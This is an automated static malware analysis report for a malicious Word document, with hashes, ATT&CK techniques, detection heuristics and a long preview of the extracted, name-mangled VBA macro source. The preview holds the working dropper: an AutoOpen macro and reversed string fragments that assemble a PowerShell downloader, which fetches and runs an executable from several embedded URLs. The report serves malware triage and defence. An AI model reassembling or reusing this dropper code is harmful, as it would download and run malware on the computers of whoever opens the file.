Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d151ad8ed9c850f…

MALICIOUS

Office (OLE)

159.5 KB Created: 2018-05-14 12:17:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: d4f10d3814d1e3573d179dba1cbaa353 SHA-1: 07211049cd438e0ca730b620dc86886efe0902d7 SHA-256: 1d151ad8ed9c850f4b2822598e9a4fca72b33c6f332a6140221d53d3ccbe4b40
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' indicates a Shell() call within the VBA code, which is commonly used to execute arbitrary commands or download additional payloads. The ClamAV detection 'Doc.Dropper.Agent-6543423-0' further confirms its malicious nature as a dropper. The presence of an Autoopen macro suggests it executes automatically upon opening.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6543423-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6543423-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 133541 bytes
SHA-256: abc6de5c832947922caed873d357607211b5fc937a99fb246ee299aa599b577f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
720 of 1118 identifiers look randomly generated (e.g. 'GCHhcTriNwXoocCLcd'); 5 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dfZEMCSwiTUGqk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub oAjVTv(rEcDck)
JHWjv = uVlLwf + Sgn(87508 - nwFhbh - IjOntq + Fix(31010)) - 30025 - CDbl(79094)
wRiFo = uVPmSO
XnCDE = XVBCc
aHwCI = 57508
End Sub
Sub wzBOP(wPLLLv)
tLrzq = LIRqvO + Sgn(3048 - NZzTH - MSVWZ + Fix(75324)) - 54770 - CDbl(10730)
MKpGOH = QzLUS
iJFzNV = pNsEnC
qVaDLG = 30794
jFHnz = IAHmqO + Sgn(76195 - QZZGU - wSlTL + Fix(61089)) - 48686 - CDbl(90955)
HJLiZ = AsaYmj
kRzon = EAiElN
OUobR = 47860
dAcif = iQhzi + Sgn(64519 - khUVX - vqWdFa + Fix(39002)) - 34209 - CDbl(29242)
DwGOTk = oTIZvo
iWEsW = ATEZdX
WXELw = 37384
End Sub
Sub iAbTBA(fCPSzB)
wiVbu = fkujkw + Sgn(54808 - RPwcc - pdukq + Fix(43005)) - 65308 - CDbl(40118)
pHiVE = oijBk
tGujF = kNnSp
zNUnl = 71207
BLTFZ = aXpcj + Sgn(24344 - rzvXAB - wzGdWR + Fix(13560)) - 45758 - CDbl(83761)
Bzwdj = aAVdiA
lGFOfz = znjAa
EpiIw = 5773
End Sub
Sub Autoopen()
On Error Resume Next
mbjNzI = UWiXG + Sgn(95975 - VXQCb - ZFNNwC + Fix(59462)) - 78870 - CDbl(70758)
NibUJ = WsQWq
aJLtcC = SRFXcG
OWOudR = 69210
svUVBjEtwLpCM (Rtids + PMIBLLItYPzwZ + AYlFj)
iEBEac = SAHHz + Sgn(26755 - wAdVsZ - VrSPw + Fix(20393)) - 45183 - CDbl(34709)
TStiBJ = JUBLR
JlfPP = AvQMK
IMjpb = 33856
End Sub
Sub AHopFj(mfTBqN)
Rijkjv = RzDFj + Sgn(28996 - zlUskc - zVwZf + Fix(77945)) - 55815 - CDbl(39507)
OVwTri = EsWai
kjWUi = twJGkd
MkLDG = 60202
VokmvB = jQzNC + Sgn(67866 - kMCLGo - dFOLpX + Fix(34028)) - 35233 - CDbl(86202)
Pvknwz = ZhWKiJ
iujcXI = ArWsjV
FdBQXK = 95671
wAoNT = ZSQvwV + Sgn(56178 - rovkzP - OvMdJ + Fix(37384)) - 6484 - CDbl(40202)
Kwvbwf = JpGbYG
nAzKmM = nNiDk
bkJSV = 94857
End Sub
Sub kzZBw(Alvro)
HwZdLI = IXXlN + Sgn(47061 - bNZfn - bkMqa + Fix(91870)) - 22789 - CDbl(51337)
ksWtX = FCGwJE
wNLMdm = nLPDjD
mjCPw = 81676
End Sub

Attribute VB_Name = "niPTAjWKShdAml"
Sub iOSZqY(cSKUF)
TEiMO = LiwscD + Sgn(26469 - tiZiQl - EozXzY + Fix(28638)) - 4105 - CDbl(93273)
jdCrO = QmvaQi
pVdvf = tbDUjO
kpOSw = 62266
End Sub
Function PMIBLLItYPzwZ()
On Error Resume Next
jvZKki = IwVKWW + Sgn(36645 - BWcjH - hdJWd + Fix(96731)) - 27843 - CDbl(53672)
cikil = wSLALk
iJJrwd = sqMYwB
PoHjU = 62759
UouYGW = fbZEMI + Sgn(54492 - IHvwm - capioI + Fix(58685)) - 16558 - CDbl(27894)
wHKwC = HiCja
vWAsw = cGmkt
rOFpR = 26938
ciNBbI = jMwXi("0Xa8epsr'+'e'+'tu'+'pmo'+'c//:'+'sptt'+'h'+'@/'+'gHLfjDo/moc'+'.sjanc'+'//:p'+'tth '+' A'+'9I = XCDA'+'f'+'KV;)'+'331282'+' ,00001(txen.'+'dsadasn'+'fKV'+' = BS'+Xiqdf", 506 + 6 - 506, 506 + 158 - 506)
XMZHF = dQBAMt + Sgn(11935 - DiSiw - EjHOL + Fix(26999)) - 18261 - CDbl(12880)
CSQobC = WPvtS
bGZrn = ojnGUB
qEKvr = 79403
irffVa = psnbr + Sgn(17405 - BdWDIM - BkRJpI + Fix(49229)) - 19095 - CDbl(90028)
NitFiU = jOfHqv
GGkbh = PHJAd
NVjRf = 61280
FDVZc = jMwXi("zwvqCIFdaOR'+'qC'+'ln'+'WRq'+'C'+'oDMzhhj", 44301 + 4 - 44301, 44301 + 35 - 44301)
qNJPnX = kUtjW + Sgn(21109 - sDiYwc - iFYtbX + Fix(11709)) - 32255 - CDbl(5262)
AbtFKz = wDXavN
dSSUSz = jDNHIk
LADTR = 94131
jYcdmX = jJBmR + Sgn(46348 - LOwGTi - wOBKpq + Fix(48882)) - 85318 - CDbl(46438)
iMFjw = IuVIH
jPsDQV = arSRNk
aTwjo = 82736
VNWfTXuZj = jMwXi("GCHh5.'+'U'+'YYf'+'KV'+'{'+'y'+'r'+'t{'+')'+'XCD'+'AfCLcd", 63036 + 5 - 63036, 63036 + 49 - 63036)
hEETCN = nMwZS + Sgn(28752 - lRlaEz - cQurwo + Fix(66931)) - 80141 - CDbl(94452)
TQwCLn = OHpnfT
uVdoBL = ktnEn
bFYWz = 29600
Pcmukf = jVidVr + Sgn(62558 - jRMtUL - PrbzJ + Fix(52340)) - 5592 - CDbl(86293)
HDwtA = bviqWd
Zrwnt = zsiqU
MuTmVO = 57234
WqlHOqVMGb = jMwXi("nGKXEpb01]raHc[+57]raHc[+68]raHc[(  ECAlPErC-  )'}}'+'{hctac}z", 19888 + 2 - 19888, 19888 + 54 - 19888)
EWSumm = pRPdou + Sgn(1427 - kBWhv - hdMbCn + Fix(92021)) - 15613 - CDbl(15689)
csAKD = BAHRI
ONfwMc = lwjiiX
FTkwuh = 17447
MEEGBl = oFWWfN + Sgn(21849 - kzSjMI - ZUHjTW + Fix(81376)) - 98035 - CDbl(68214)
ZUKZST = AOPjF
ZiGTjI = HtdOik
URLwGn = 84269
zPQMS = jMwXi(".%XQ;kaer'+'b;)C'+'DSfKV()'+'A'YEO", 12239 + 4 - 12239, 12239 + 27 - 12239)
tAMSi = fwtRU + Sgn(76970 - BNCKqp - jqwvi + Fix(38865)) - 74231 - CDbl(67679)
RaRoT = FGOijc
jwJwQT = JoPzU
CDRjJ = 46182
oARijl = ctGnz + Sgn(16170 - OGPvJZ - QiUqF + Fix(49407)) - 25915 - CDbl(93793)
AwKBJ = niXNZ
mNuIw = cozsqT
XSwsa = 22608
XHmYNF = jMwXi("%m+'+'A9Ixe.'+'A'+'9I( + BS'+'N'+'f'+'K'+'V + A'+'iQ7q", 92373 + 5 - 92373, 92373 + 48 - 92373)
fiGqnH = IThXv + Sgn(99773 - iUZiH - lILHGq + Fix(87398)) - 72819 - CDbl(76098)
pzBhbE = EUrQT
SUuTr = zXKTYH
XwkwN = 69773
VzYFQ = aciWCw + Sgn(91602 - SnUhOw - HUahBG + Fix(35460)) - 18056 - CDbl(47316)
NQMDOU = tdWoK
rEFrT = wOCzc
czXPb = 15231
zJOmtH = jMwXi("j.z8k+'9'+'Imet'+'I-eA9I+A9IkA9'+'I+A9'+'IovnIA9I'+'(&'+';)CD'+'S'+'f'+'KV ,)'+'(Mz'+'5g'+'NRqCiRq'+'Cr'+'tS'+'oTM'+'z5.cfs'+'afK'+'V(Mz5elR'+'Pw", 40295 + 3 - 40295, 40295 + 138 - 40295)
Kkoii = DTuoka + Sgn(90651 - IjdvPz - aXKTk + Fix(80481)) - 72414 - CDbl(43905)
dBOVA = CWWwPk
ZRXjQ = NuTMI
jNiOw = 9046
dTPwjP = zmpdM + Sgn(94270 - YNpGp - WWotSn + Fix(22080)) - 1149 - CDbl(63285)
iwaXJS = zYCbRW
XOojn = UdHQG
iWdtD = 7132
fpazWcFGrPQ = jMwXi("wRk[,)2WXC", 34407 + 4 - 34407, 34407 + 4 - 34407)
KHflZ = FcsimM + Sgn(9501 - dWEwiN - HEqJR + Fix(4827)) - 77222 - CDbl(28002)
iwXzM = rcPph
bvUEBH = AZvYq
CCocH = 77720
dQqqUa = swWqX + Sgn(13647 - GkdQHk - XXSHiq + Fix(111)) - 88522 - CDbl(42941)
vsvtdb = WSRIjw
jFrTr = KjjNGt
ilkMw = 49453
VTFtoJjBRk = jMwXi("Q4LXj ))93]raHc[,'A9I'  ECAlPErC-29]raHc[,)58]raHc[+011]raHc[+57]raHc[( ecaLPer- 43]raHc[,)77]raHc[+221]raHc[+35]raHc[(ECAlPErC- 69]raHc[,'RqC' ecaLPer- 63]raHcR", 34318 + 2 - 34318, 34318 + 155 - 34318)
uiMtdI = toTVoY + Sgn(88815 - dwjCY - PMhmjD + Fix(94719)) - 71743 - CDbl(65755)
KJOdF = zqiARr
sSViL = ljvBJ
RiGuFA = 15249
jniEp = ZEQvm + Sgn(59167 - HlRFtO - awjFA + Fix(38918)) - 32321 - CDbl(65344)
iVUaw = IrAdJ
FcwlVN = WOwRfB
iEYEVE = 83240
EjzfEMr = jMwXi("jBlilCbeW.te'+'N.m'+'etsyS'+' '+')A9Itcejb'+'o'+'-'+'A9I+A9Iw2HsQ4", 13086 + 6 - 13086, 13086 + 58 - 13086)
mZREbw = aEPEHU + Sgn(41498 - UfGWLr - DpYOcE + Fix(35650)) - 92704 - CDbl(15796)
EHqXU = mwtor
atPMR = ZOhfG
VbfNU = 46333
MzPKz = hjjKX + Sgn(70677 - zjwMqo - wjwJSi + Fix(18536)) - 25250 - CDbl(44570)
SWzjZ = MTOWj
ulZKhI = qbFtzN
BFsOMU = 18783
PFNKY = jMwXi("ToT66A'+'9I+A9IenA9I(.'+' = UYY'+'fK'+'V'+';'+'m'+'odn'+'a'+'r )A9'+'ItA9I+A9'+'Ic'+'e'+'jb'+'o'+'-w'+'A9I+A9IeA'+'9I+A9'+'InA9I'+'(& = dsadas'+'nfKV'((( )'X'+]31[dIlLehS$+]1[dILLeHS$ (& Ii", 14375 + 3 - 14375, 14375 + 182 - 14375)
rBkEX = lscSG + Sgn(42603 - MkHBBm - lNcCWu + Fix(24158)) - 13586 - CDbl(53116)
JMQXt = ackHE
caqqtp = kMLhd
dYihdF = 58511
bnzDc = AWcTtd + Sgn(37322 - rLGjUz - zNKkY + Fix(99751)) - 99137 - CDbl(16010)
IHFhRm = Hmidjj
kjKTs = diaXi
apSEmB = 27749
rTOWdF = jMwXi("D,kM7N'Nf'+'KV;tnef8", 33001 + 3 - 33001, 33001 + 12 - 33001)
LlXmPE = zupVm + Sgn(26875 - ZEOjGj - ahiwn + Fix(23370)) - 99630 - CDbl(79076)
scSuKz = XDoCd
lCwPjP = pGuff
DpncsW = 19266
oPZpK = YftkKc + Sgn(95285 - ruJqqi - znpzl + Fix(21800)) - 53746 - CDbl(78931)
bXEFsp = pSJcrH
zfZflj = RDcArc
rYmwqC = 17039
YiUioh = jMwXi("KB9IU'+'nKA9I +'+' '+'cilbu'+'p:vnef'+'KV = '+'CDSfKV;)A9I@A9I'+'(tilp'+'S.A9I/U'+'QuEC76/pp'+'a'+'-ppw/moc.o'+'k'+'i'+'a'+'d-c//:ptth@'+'/jS'+'fZ'+'C'+'L/edwUvW", 22156 + 5 - 22156, 22156 + 155 - 22156)
YrCBLT = hCMpL + Sgn(82187 - LfqIE - TcEAN + Fix(98107)) - 97327 - CDbl(88284)
fBESM = hcjUS
WZoCRs = MGFhw
TwnBoM = 40396
LwLdZt = WRYXCB + Sgn(4175 - OHlmB - NzclNY + Fix(56240)) - 68124 - CDbl(87929)
WVOjwk = RljPi
EJilm = sCtVP
zjrLUK = 74953
VLqAsij = jMwXi("vd4.'+'w'+'ehcstleb/'+'/'+':ptth@/sNbv'+'/ed'+'.av-hcs'+'zti'+'l'+'ed/'+'/:s'+'pt'+'t'+'h@'+'/dvKcG'+'S/'+'ed.gru'+'b'+'mahed'+'n'+'wR8", 58528 + 4 - 58528, 58528 + 129 - 58528)
oAhmS = doTBR + Sgn(25141 - oXcjmr - Bhczz + Fix(73277)) - 97814 - CDbl(3139)
FRYcLW = brTSv
isDCS = LOchT
WHXhnj = 38926
KnOFt = MaSiq + Sgn(65895 - XhTpF - wiVRU + Fix(57337)) - 20732 - CDbl(353)
sloCt = dzQwtz
FHNOwU = zBFrq
noVtbi = 17256
PHsjdUIa = jMwXi("jWUIInPzK'+'V ni cf'+'safKV('+'hc'+'aerof;)A9'+'IeA9Ii", 52973 + 2 - 52973, 52973 + 45 - 52973)
ijtop = ujCqMK + Sgn(41477 - OEGjpm - rfzLz + Fix(85319)) - 78943 - CDbl(54272)
XKoaW = TZHsTN
PffZJZ = nusWl
AwcrjF = 14804
TBWuGn = jYzTAs + Sgn(32483 - jXiPL - cRRpfZ + Fix(44849)) - 94450 - CDbl(31931)
NFTvd = fDliG
vCkwj = wTBpvv
jEFaOO = 68146
LYFqHWz = nFuYVoXs + """" + dhdGWPEjptA
HYKYEt = ZdXQX + Sgn(25388 - zpaOp - aWMOS + Fix(69563)) - 26170 - CDbl(80312)
tYUiL = hkARvU
BFQFt = ROGbE
WlLvGU = 61578
PMIBLLItYPzwZ = XjzwoCcPF + Fhijnjjun + ztEGVHwMqzX + JznTlSCjNozGX + LYFqHWz + mwQFouWptwPFv + PFNKY + EjzfEMr + rTOWdF + ciNBbI + VLqAsij + YiUioh + XHmYNF + PHsjdUIa + VNWfTXuZj + FDVZc + zJOmtH + zPQMS + WqlHOqVMGb + fpazWcFGrPQ + VTFtoJjBRk
FUQrl = JjiKY + Sgn(30627 - Eztdj - kwDfjN + Fix(65048)) - 87691 - CDbl(30559)
AiwLDB = vwNVdG
GhYiS = zTiPKU
ohdEI = 87331
End Function
Sub sjmoh(FERiv)
CvANm = lofmR + Sgn(21549 - jbhdEU - EGpdWC + Fix(30142)) - 30366 - CDbl(64575)
YidizX = aUfjr
FObCzm = aNOEO
FXqjlV = 13958
NniHkD = DjpIM + Sgn(24228 - OvASdJ - LPYQC + Fix(35541)) - 82991 - CDbl(68786)
tNkBrb = vMiGXd
wBkVJ = iTrwiC
Jrikb = 37150
End Sub

Attribute VB_Name = "vubLsnBEFuDphq"
Sub ZBoPvDiRO()
On Error Resume Next
OSzhnC = VmWpCk + Sgn(8252 - ziEjdC - ZdVui + Fix(26170)) - 94789 - CDbl(90135)
UhjcQn = fuVYpo
kRAbw = lAMao
ULtYMY = 83889
End Sub
Function JznTlSCjNozGX()
On Error Resume Next
UVDbNK = YmIdkk + Sgn(50648 - ddlAWD - VGoXT + Fix(64208)) - 73135 - CDbl(41924)
zzGiP = YOmmM
EwDHt = QuaYVd
zzmpq = 7928
FFIajj = cfkJn + Sgn(72653 - LPalM - WZbWj + Fix(33397)) - 23747 - CDbl(76903)
Nuozp = nPojPP
oEXSow = MwChA
filtO = 44118
ciNBbI = jMwXi("0Xa8&!%ZwzPYtILLBXiqdf", 28561 + 6 - 28561, 28561 + 13 - 28561)
HSqUow = YzmFw + Sgn(74674 - kWzOcP - JPsHw + Fix(44383)) - 28907 - CDbl(16437)
uRskYW = Cdrhu
MwkNb = ImflHJ
CzNqZz = 31332
KrXTPz = oCOLrz + Sgn(23881 - QnKiwi - mvROBj + Fix(84272)) - 87386 - CDbl(30816)
JdJjUa = KOdziv
odoVzp = VwjEb
AvCwI = 96318
FDVZc = jMwXi("zwvpmUBL=%ihiaYiOELiRUhhj", 42534 + 4 - 42534, 42534 + 19 - 42534)
iVDAwN = XjEdEA + Sgn(50048 - XrWuaL - hZfsXa + Fix(28166)) - 23797 - CDbl(63590)
kOJSao = lHumr
AbcaY = aOXVu
dVDpIJ = 44596
UHoVjm = jBqTtC + Sgn(6931 - vIpaX - tlZGa + Fix(17577)) - 87821 - CDbl(18629)
cDcmt = EhzOIs
dLtUz = jaroV
bWPOFd = 65481
VNWfTXuZj = jMwXi("GCHhcTriNwXoocCLcd", 45773 + 5 - 45773, 45773 + 10 - 45773)
pOQQQ = arbrM + Sgn(29564 - hINNG - WcklO + Fix(12888)) - 15019 - CDbl(33723)
pTslaT = OvcEn
pzzcGX = OBBzRM
FdBKIs = 94244
jBpuEB = ZbNwsd + Sgn(17148 - ZSaCt - qRmLLw + Fix(82499)) - 32382 - CDbl(28810)
aGjaV = mJnLiz
zPuJi = FZrsp
kDjsDE = 16703
WqlHOqVMGb = jMwXi("nGKXEpbrsFNNZRGM=%Uz", 3131 + 2 - 3131, 3131 + 12 - 3131)
CVmwi = tfQOh + Sgn(23540 - MmvQpI - JkjNr + Fix(65441)) - 71255 - CDbl(55218)
QkGZn = ddwaj
aIdLd = YQobO
vCRmZF = 771
SYjzE = fXpkQu + Sgn(22463 - CGLpjw - UhioqI + Fix(69375)) - 21348 - CDbl(18109)
iVZESk = zVfkZ
CfFjX = zUCVPz
FJOkvL = 62476
zPQMS = jMwXi(".%XQEmuwIYEO", 32302 + 4 - 32302, 32302 + 5 - 32302)
iYmdj = FpOTH + Sgn(89602 - bIkcN - JPfAJH + Fix(53553)) - 59795 - CDbl(93507)
ljYtWT = SDnLu
nCHCid = dHiiW
CYcWHr = 16240
wusZOk = GPORi + Sgn(47743 - KkfXvf - jqPSfq + Fix(55098)) - 93763 - CDbl(94731)
QKTAF = TPQjLM
bUDjXu = fBAMME
HitdKS = 98777
XHmYNF = jMwXi("%mwtEiQ7q", 8209 + 5 - 8209, 8209 + 3 - 8209)
TFdFu = HfvVW + Sgn(24929 - zbKFCz - PKGnAN + Fix(21743)) - 63679 - CDbl(44758)
BudaA = DRzkXW
rprpJ = jYHSO
JzqEjB = 50349
wpZNz = NUSLiz + Sgn(89041 - zMoFF - iLVWnM + Fix(26242)) - 85673 - CDbl(15258)
MKCILk = GZTRZH
wRkiu = MqkAd
TDZkZV = 24335
zJOmtH = jMwXi("j.z8ksPw", 15242 + 3 - 15242, 15242 + 1 - 15242)
zYumv = khflf + Sgn(16777 - wYVbi - jhVaCi + Fix(51721)) - 32038 - CDbl(47218)
ouwMjX = Wwmhn
KwUUjV = EIuXcq
zsHUwM = 1778
SDGbGU = rkIFIQ + Sgn(52021 - lOLlt - bKNaBN + Fix(25801)) - 87635 - CDbl(1749)
BKtsI = EPAti
NUjDVX = lBlGUq
sBEGfz = 67679
fpazWcFGrPQ = jMwXi("wRkwOWnzbj%!!WXC", 82527 + 4 - 82527, 82527 + 10 - 82527)
DwWiE = KvkAt + Sgn(62357 - srzrpz - FPDZB + Fix(29656)) - 54817 - CDbl(6562)
tNlLK = khmSj
FBGaKu = JGPpA
znuzh = 79629
OTFBMQ = umQIi + Sgn(15267 - wDtNjb - KLYMNT + Fix(37097)) - 34117 - CDbl(34384)
IHWQuK = QIsVt
loKoIa = odbCEH
owwmcU = 55864
VTFtoJjBRk = jMwXi("Q4LXjShmt%!!%zdzqNpRR", 75458 + 2 - 75458, 75458 + 15 - 75458)
alZCtX = ajSRdn + Sgn(44786 - fKqfw - fTMmih + Fix(33368)) - 23183 - CDbl(11860)
ZFlOZP = hPrCs
misRwR = lpiUvR
PPpfO = 55869
YKaQj = ABVRsn + Sgn(18117 - SzmLk - dElJIF + Fix(65594)) - 34356 - CDbl(20083)
snwtM = uzdDpt
Ffqsq = AHvuba
ZQHdG = 66884
EjzfEMr = jMwXi("jBltil% tes&&XTJjhi2HsQ4", 48768 + 6 - 48768, 48768 + 16 - 48768)
vZFrPs = Foihuj + Sgn(71414 - iRMrcJ - wtVTr + Fix(11460)) - 57566 - CDbl(80551)
zGDXjZ = cwBvSN
jqjul = ROFjic
VwBhb = 98242
hwNDz = TdbEAA + Sgn(4995 - mdYYXw - clAHFX + Fix(50772)) - 98542 - CDbl(76831)
GGjKq = tGKMcb
SlNWnX = wfPaEK
wtMsi = 76159
PFNKY = jMwXi("ToT66okFvluhj=%PUjIi", 66992 + 3 - 66992, 66992 + 13 - 66992)
tuWivo = RNmKAu + Sgn(66064 - sAnbz - bqFFf + Fix(54696)) - 93986 - CDbl(25116)
TzoEYq = rrjIiS
QEQiZB = FCoQS
QZPLi = 9374
iDkBO = wAtbJO + Sgn(62822 - GmfXS - ZMrqh + Fix(16566)) - 3156 - CDbl(78183)
PKljhw = hKoEv
zrKCkj = wiSJZl
LtUFw = 15613
rTOWdF = jMwXi("D,kM7NMf8", 30786 + 3 - 30786, 30786 + 1 - 30786)
iQYiz = EFUjNH + Sgn(98606 - zjfYR - qlsbKv + Fix(50088)) - 80805 - CDbl(76551)
iInPTb = XlIqtJ
vRmHMN = hiOUsX
TDBORi = 272
pYdnY = lDkPAO + Sgn(82425 - NcpTl - Umbio + Fix(53440)) - 91577 - CDbl(66822)
rSkQL = jaRdjj
qZvrPV = tRpaVo
wwzzv = 4648
YiUioh = jMwXi("KBjBVUvs% teswUvW", 10252 + 5 - 10252, 10252 + 11 - 10252)
tzQwfp = BYqCSb + Sgn(92376 - jwLao - acKuX + Fix(53184)) - 68345 - CDbl(53928)
johvz = fskjNr
zXDMGu = ClVOk
UFEHN = 95398
Qkrjw = PHajZG + Sgn(8529 - aOBLpE - iMAbKp + Fix(9911)) - 80470 - CDbl(80622)
jqKbd = lYaBX
RBEzCL = WTWOV
YqEmDK = 33207
VLqAsij = jMwXi("vd4&&wR8", 49892 + 4 - 49892, 49892 + 2 - 49892)
OtQtSz = QnOCJ + Sgn(88884 - zXKmtb - wJbot + Fix(10126)) - 24492 - CDbl(63138)
WqFDCH = GkODGj
MMndr = cRRpRQ
pFZrwj = 3845
qmzior = XrGbn + Sgn(71000 - NWsfhO - YfwNJ + Fix(92728)) - 20572 - CDbl(20734)
aHiIw = nWQbK
zAsDDH = vPKon
RGCUf = 90306
PHsjdUIa = jMwXi("jWUIInPzs%!!%bi", 84785 + 2 - 84785, 84785 + 6 - 84785)
MfjTE = jNjWOF + Sgn(7605 - ZfEJFo - PwPTv + Fix(87919)) - 59385 - CDbl(87329)
BljvST = Ywban
twijZ = bwKZGF
iRzJiC = 39203
rRjHZ = DKrfJ + Sgn(31637 - vBJIwT - MdJEf + Fix(8540)) - 99683 - CDbl(95922)
MuQAtl = SKdNF
iGfmqj = ScUjvG
HbbVG = 11746
QRWCacoAQo = jMwXi("wjUznKjCXEbBvJTIlB", 98296 + 2 - 98296, 98296 + 11 - 98296)
fktPF = BqwVF + Sgn(2330 - wCZsO - zSjZj + Fix(10142)) - 75227 - CDbl(45902)
qiHGzX = WmWkaw
dzauqP = CjHqG
vKJKS = 71967
QOsmi = ztMZl + Sgn(43407 - pDOZc - vMPQw + Fix(50330)) - 83748 - CDbl(67227)
TEEES = nAwwR
ZjKmfq = UWhui
QoBwwM = 82154
PQiQzwBwK = jMwXi("cX7.p% teDwhQ@", 18985 + 6 - 18985, 18985 + 5 - 18985)
XZIVhE = BDSbK + Sgn(62561 - cEiRk - OClJW + Fix(14834)) - 3761 - CDbl(24240)
CzlbwB = BRzlG
TPTXP = LwTfcU
UowwZ = 4423
vbIiC = vCuSp + Sgn(77977 - bAzwL - ntuLQ + Fix(29844)) - 88533 - CDbl(56906)
tvpVO = fqqCZG
vFcGaE = RZQzp
QBPrPI = 48541
LurOulLaT = jMwXi("IPTIO% tes&&s=%zdzq8fFa", 2606 + 5 - 2606, 2606 + 17 - 2606)
JwcTaP = JJulQv + Sgn(95852 - jKppJD - fpjUZ + Fix(58623)) - 51230 - CDbl(96689)
RjQlHz = zpYHQW
YwSMj = ZTPXqS
mFpQiK = 14320
wGcinQ = fAUKR + Sgn(16440 - MUXVjq - alpSAE + Fix(83775)) - 27018 - CDbl(59916)
ihLsn = sfUIN
DliVn = aJzSKA
UnLnL = 30885
tjhtLImCw = jMwXi("DRvAk% tes&&zz", 39181 + 3 - 39181, 39181 + 7 - 39181)
VJbkw = YBfqOh + Sgn(48305 - iDjiR - nVNPW + Fix(21583)) - 44622 - CDbl(35284)
jrIsvB = JwYzLZ
GDdbRl = cIuIiz
MNlTGX = 98183
mXAsHz = lPiak + Sgn(85878 - klMDs - kkVEzq + Fix(73373)) - 32562 - CDbl(31194)
pViiF = LIkzjj
MlbFJS = fjNUwC
wuQKz = 41151
jvtiKSdB = jMwXi("JwCCHHAOUUJiShmt% tes&&zwT", 97629 + 2 - 97629, 97629 + 17 - 97629)
oEBJwD = ETsIDJ + Sgn(17067 - WkcwQ - JIOmDf + Fix(28640)) - 26492 - CDbl(37672)
jLjXhZ = KOZbMU
sttiY = iBEDfw
WvYLqz = 7287
rQsoKc = zcCnk + Sgn(2044 - wOQPt - cLYkJ + Fix(98553)) - 72694 - CDbl(40300)
sIjmPF = sLiWIS
qquiCT = dOzzUf
IfKrhO = 68893
wzdZMFq = jMwXi("UFpwOf% tes&&nKw6kQB", 48041 + 8 - 48041, 48041 + 11 - 48041)
DzlOVW = hXIJk + Sgn(65658 - OQjBDP - mpvZjk + Fix(60692)) - 45243 - CDbl(60113)
Drwmzz = zIXhZo
vJNRt = fKUzR
pomlZ = 18727
CSODKT = uJQjDp + Sgn(98382 - nrMTr - hRYORj + Fix(86230)) - 68559 - CDbl(94821)
KWiKv = cKTjaj
rHFsM = wScqt
Appsj = 69903
bqHwXHT = jMwXi("mpFTH%!!%MCpLwti4dXB", 85195 + 6 - 85195, 85195 + 12 - 85195)
MqZhH = OqPBzH + Sgn(14558 - uhGMr - dzHijp + Fix(80114)) - 89398 - CDbl(15020)
SkzPTj = awDwP
RcilSF = jjsEh
jqBRz = 39367
mwHzT = YPJDpV + Sgn(35643 - zwikrN - JaEzlW + Fix(35138)) - 72226 - CDbl(76611)
ujEpja = djouR
zkOGG = aXzIad
CChQG = 57436
tpBMFT = jMwXi("3qlpw&fdnVknj", 66298 + 3 - 66298, 66298 + 6 - 66298)
SvoOm = XJGHZ + Sgn(79405 - NHMXPL - NOuXi + Fix(23743)) - 25788 - CDbl(46840)
vSiQv = CvAUsK
Qsjkl = vpKBu
IEAQja = 2028
QlIzMM = YkECa + Sgn(90492 - oYffpd - MpmhEz + Fix(3968)) - 91501 - CDbl(27090)
hILikz = Lqcmsz
fGjrsM = FEKEw
QINEd = 42521
iAFTZm = jMwXi("8Lz&L6FNwf", 98898 + 7 - 98898, 98898 + 1 - 98898)
VSjQD = DUzBqU + Sgn(84701 - BzSKC - ibDBa + Fix(78345)) - 52906 - CDbl(20902)
cXIWr = NXPoR
zFDTj = SPKvu
UbtOip = 29052
TIpDtY = wlobu + Sgn(50294 - JsYlo - InwPb + Fix(39117)) - 338 - CDbl(96344)
nEszLi = AzGYR
CwACu = ovCKS
WfJZc = 48082
kqQUfjkv = jMwXi("P%zG=%n,R3mK", 64 + 7 - 64, 64 + 3 - 64)
VMwkj = Onsrbf + Sgn(29898 - klCOYZ - JpkuZh + Fix(78169)) - 98965 - CDbl(13029)
UhzwLE = RFfWw
biCPl = HKDziM
NpJPa = 77015
hEjdCl = nzUsi + Sgn(99501 - ofRou - YzWHPi + Fix(92365)) - 75611 - CDbl(27771)
CshrEu = lvhjC
VlGlf = JSvKM
hiZNY = 79544
EUQoRXzrWT = jMwXi("FLhwT,HObSTYGj", 73023 + 2 - 73023, 73023 + 5 - 73023)
ZGSzA = StXft + Sgn(24470 - WiAWJs - dEYGi + Fix(40522)) - 45585 - CDbl(44189)
jYXrR = OClGcM
mmCwQ = DhDEfY
UiLRfk = 91638
